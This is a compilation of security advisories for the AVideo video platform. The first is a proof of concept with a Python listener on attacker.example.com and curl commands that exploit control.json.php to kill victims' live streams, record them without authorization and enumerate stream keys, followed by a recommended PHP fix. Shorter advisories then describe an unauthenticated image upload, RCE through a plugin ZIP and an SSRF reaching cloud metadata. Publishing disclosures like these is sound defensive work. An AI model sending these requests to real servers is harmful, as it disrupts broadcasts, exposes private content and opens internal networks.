bash Minimal Python server on attacker machine (attacker.example.com:8888) python3 -c ' import http.server, json class H(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Content-Type","application/json") self.endheaders() self.wfile.write(json.dumps({"error": False}).encode()) def logmessage(self, a): pass http.server.HTTPServer(("0.0.0.0", 8888), H).serveforever() '
Step 2: Drop a victim's live stream (kill their broadcast):
bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=droppublisher&name=VICTIMSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"
Expected response (authentication bypassed, command executed): json {"error":false,"msg":"","streamerURL":"http://attacker.example.com:8888/","token":"anything","command":"droppublisher","app":"live","name":"VICTIMSTREAMKEY","response":"","requestedURL":"http://localhost:8080/control/drop/publisher?app=live&name=VICTIMSTREAMKEY"}
Step 3: Start unauthorized recording of a victim's stream:
bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=recordstart&name=VICTIMSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"
Step 4: Probe whether a stream name is active:
bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=isrecording&name=GUESSSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"
Impact
- Denial of Service on Live Streams: Any unauthenticated attacker can terminate any active live broadcast using droppublisher, causing immediate disruption for streamers and viewers. - Unauthorized Recording: An attacker can start recording any live stream without authorization using recordstart, potentially capturing private or sensitive content. - Stream Enumeration: The isrecording command allows probing for valid stream names. - SSRF: The server makes an outbound HTTP request to an attacker-controlled URL via filegetcontents(), which could be used to scan internal services or exfiltrate data via the request URL. - No authentication required: The entire attack is performed without any credentials.
Recommended Fix
Remove the streamerURL request parameter override entirely, matching the fix already applied in saveDVR.json.php. In plugin/Live/standAloneFiles/control.json.php, replace lines 77-79:
php // BEFORE (vulnerable): if (!empty($REQUEST['streamerURL'])) { $streamerURL = $REQUEST['streamerURL']; }
// AFTER (fixed): // SECURITY: User-supplied streamerURL is intentionally NOT accepted. // Allowing it would enable authentication bypass and SSRF via filegetcontents // on an attacker-controlled host. streamerURL MUST come from the configuration // file or be hard-coded in this file above. if (empty($streamerURL)) { errorlog("control.json.php: streamerURL is not configured"); die(jsonencode(['error' => true, 'msg' => 'Server not configured'])); }
AVideo versions prior to 20.1 with the ImageGallery plugin enabled is vulnerable to unauthenticated file upload and deletion. Plugin endpoints responsible for managing gallery images fail to enforce authentication checks and do not validate ownership, allowing unauthenticated attackers to upload or delete images associated with any image-based video.
Summary An authenticated Remote Code Execution (RCE) vulnerability was identified in AVideo related to the plugin upload/import functionality.
The issue allowed an authenticated administrator to upload a specially crafted ZIP archive containing executable server-side files. Due to insufficient validation of extracted file contents, the archive was extracted directly into a web-accessible plugin directory, allowing arbitrary PHP code execution.
Vulnerability Type - Remote Code Execution (RCE) - CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Versions - All versions up to and including 22.x.
Fixed Version - A fix is expected to be released in version 23.
Root Cause The system validated only the ZIP extension of uploaded plugin packages but did not enforce a strict allowlist of file types within the archive. Extracted files were placed directly in a web-accessible directory without preventing execution of server-side scripts.
Impact An authenticated administrator could execute arbitrary code on the server, resulting in full system compromise, including: - Confidentiality loss - Integrity loss - Availability impact
Remediation Upgrade immediately to AVideo version 23 or later.
Version 23 introduces improved validation and secure handling of plugin extraction.
Workarounds If upgrade is not immediately possible: - Disable plugin upload/import functionality. - Configure the web server to prevent execution of PHP files inside plugin upload directories.
AVideo is a video-sharing Platform. Versions prior to 8.0 contain a Server-Side Request Forgery vulnerability (CWE-918) in the public thumbnail endpoints getImage.php and getImageMP4.php. Both endpoints accept a base64Url GET parameter, base64-decode it, and pass the resulting URL to ffmpeg as an input source without any authentication requirement. The prior validation only checked that the URL was syntactically valid (FILTERVALIDATEURL) and started with http(s)://. This is insufficient: an attacker can supply URLs such as http://169.254.169.254/latest/meta-data/ (AWS/cloud instance metadata), http://192.168.x.x/, or http://127.0.0.1/ to make the server reach internal network resources. The response is not directly returned (blind), but timing differences and error logs can be used to infer results. The issue has been fixed in version 8.0.